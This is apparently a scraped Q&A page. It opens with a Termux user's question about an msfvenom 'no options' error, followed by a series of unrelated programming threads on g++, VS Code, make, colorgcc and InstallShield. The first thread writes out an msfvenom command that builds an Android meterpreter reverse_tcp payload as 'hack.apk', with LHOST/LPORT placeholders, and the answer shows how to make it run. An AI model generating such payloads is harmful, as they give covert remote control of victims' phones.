How do i solve msfvenom no options erro? - termux

I write this code in termux :
msfvenom -p android/meterpreter/reverse_tcp LHOST=myip LPORT=port -o hack.apk
And in asnswer :
Error : no options
How can i solve?

There is an easy fix for this error as per my experience
If you installed metasploit-framework correctly the following workaround WILL work
navigate to the metasploit-framework directory usually, cd ~/metasploit-framework should do the job
Run the same command using 'ruby' i.e. ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=myip LPORT=port -o hack.apk
This shall fix the error you mentioned but note that you might have installation errors in metasploit-framework as I have had too
🖖🏻

Related

Can't find compiled executable in Linux terminal

I've created a hello world program in c++ and tried to compile it in c++ like this.
[aleksf#ic-ifi-rh8-026 cpp]$ g++ testing.cpp -o testing
I know that the testing file was created because
[aleksf#ic-ifi-rh8-026 cpp]$ ls -A
testing testing.cpp
But when I try to execute the file it can't find it.
[aleksf#ic-ifi-rh8-026 cpp]$ .\testing
bash: .testing: command not found...
I don't understand whats gone wrong as this is what I've been told works.
Linux does not use \ it uses / for directory paths. Try ./testing.
Like Russel have pointed out, you need to use forward slash: ./testing
The file you're trying to run also needs to have the executable mode bit set. You can fix that by running: chmod +x testing

Unable to resolve configuration with compiler Path

I have been getting this error message after installing VS code (New computer just reinstalling things) and I ran into this error message after installing splashkit + the c++ extension:
Unable to resolve configuration with compilerPath: C:/Users/willi/Documents/Code/102/Test/g++.exe
I would imagine I need to change the path variable but I am not sure.
Thanks
EDIT: I get this error message after using the command:
skm clang++ program.cpp -o One
I'm sure I am missing something easy here, but I haven't ran into this one before.

*** internal error: unable to open jobserver semaphore '3,4': (Error 2: The system cannot find the file specified. ). Stop

I am trying to compile an existing qt application's code using mingw compiler.
During compilation I am getting an error "*** internal error: unable to open jobserver semaphore '3,4': (Error 2: The system cannot find the file specified. ). Stop".
My current project is a makefile based project. Here I have one make file (parent.mk) that compiles all primary modules and then
parent.mk
compilation steps
.
.
.
make $QT_CODE_DIR
Here in this QT code directory I have another makefile (child.mk) which has following content:
child.mk
cd "qtcode_compilation_out_dir"
qmake.exe "product.pro" -r -spec win32-g++
CONFIG+=release
mingw32-make -w
If I try to run the make command manually for QT code then it works fine.
#Alexander: Thanks for the suggestion.
Please suggest if anyone has any idea about it.
Thanks.
Finally, I found out the exact reason of the problem and solution as well.
Reason for failure:
The compilation command that I am using is "make" which is been aliased to "make -j2"and along with "mingw32-make -w" it was producing the error because mingw32-make is an obsolete make command and it doesn't support multi threaded compilation.
Solution:
I just replaced the mingw32-make with make.

Trying to color code g++

My g++ compiler for some reason shows all errors and warnings to be white, making spotting them very tough. I'm open to anything that is easy to implement. I have come across two solutions, none of which I can implement successfully, and hence I'm here:
Option 1:
I've read that the best choice is colorgcc: https://github.com/johannes/colorgcc
I have gone through basically all the posts on how to set it up, but am still having trouble. Here's what I have done so far.
I'm new to programming, so I couldn't understand a lot of it. But this is what I've done so far. I've tried to follow what other people have posted to the best of my knowledge but to no avail.
~$ vim .colorgcc (copy pasted the colorgcc perl script in here)
~$ chmod +X .colorgcc
/usr/bin$ g++ -> colorgcc
-bash: colorgcc: Permission denied
Option 2:
I've also read this post: Is there an easy way to COLOR-CODE the compiler outputs?
but not sure I understand where to copy paste the code that is shown in the best answer.
I think the reason why I can't set this up is because there is a lot that I don't understand, so if you could provide a more beginner like answer, it would be much appreciated.
I have a gcc version of 5.0. And I'm using a Mac OS X 10.10.
Thanks in advance!
I got colorgcc working just fine with the following:
~$ wget https://raw.githubusercontent.com/johannes/colorgcc/master/colorgcc.pl
~$ chmod +x colorgcc.pl
~$ sudo cp colorgcc.pl /usr/local/bin/colorgcc
~$ cd /usr/local/bin
~$ sudo ln -s colorgcc g++
If you are using gcc > 4.9 the compiler should be able to output color error messages. The option to configure this is -fdiagnostics-color[=WHEN]. This should work just fine in the terminal application in OSX.
For previous versions of gcc, there are external tools (filters) like colorgcc that will be able to colorize the output for you. You can take a look at wavemode answer for how to set up colorgcc.

InstallShield creates MSI even though build has errors

When I'm compiling ism project to create MSI, its still creates the MSI even though I have build errors.
The reason I need it NOT to be created is for build verification.
Instead of checking the build log for errors, I will just check the existence of the MSI.
Does anybody know how can I achieve that?
EDIT:
I'm using ISCmdBld tool to build MSIs. This is the command line I'm running to build where the environment variables are being set before running this command:
IsCmdBld -p "%FULL_PROJECT_FILENAME%" -a %BUILDMODE% -r %PRODUCT% -o "%MMSEARCHPATH%" | tee /A "%FULL_PROJECT_LOG_FILENAME%"
If you are compiling using IsCmdBld.exe, you should add the -x option, so that the build is stopped if an error occurs.
You also can use it combined with -w, which makes each warning becomes considered as an error (and thus, each warning encountered also stops the build).
More information about IsCmdBld.exe : http://helpnet.installshield.com/installshield16helplib/ISCmdBldParam.htm
I hope this helps.
Your build automation should check the exit code from ISCmdBld.exe. If the exit code is a failure, don't archive the output.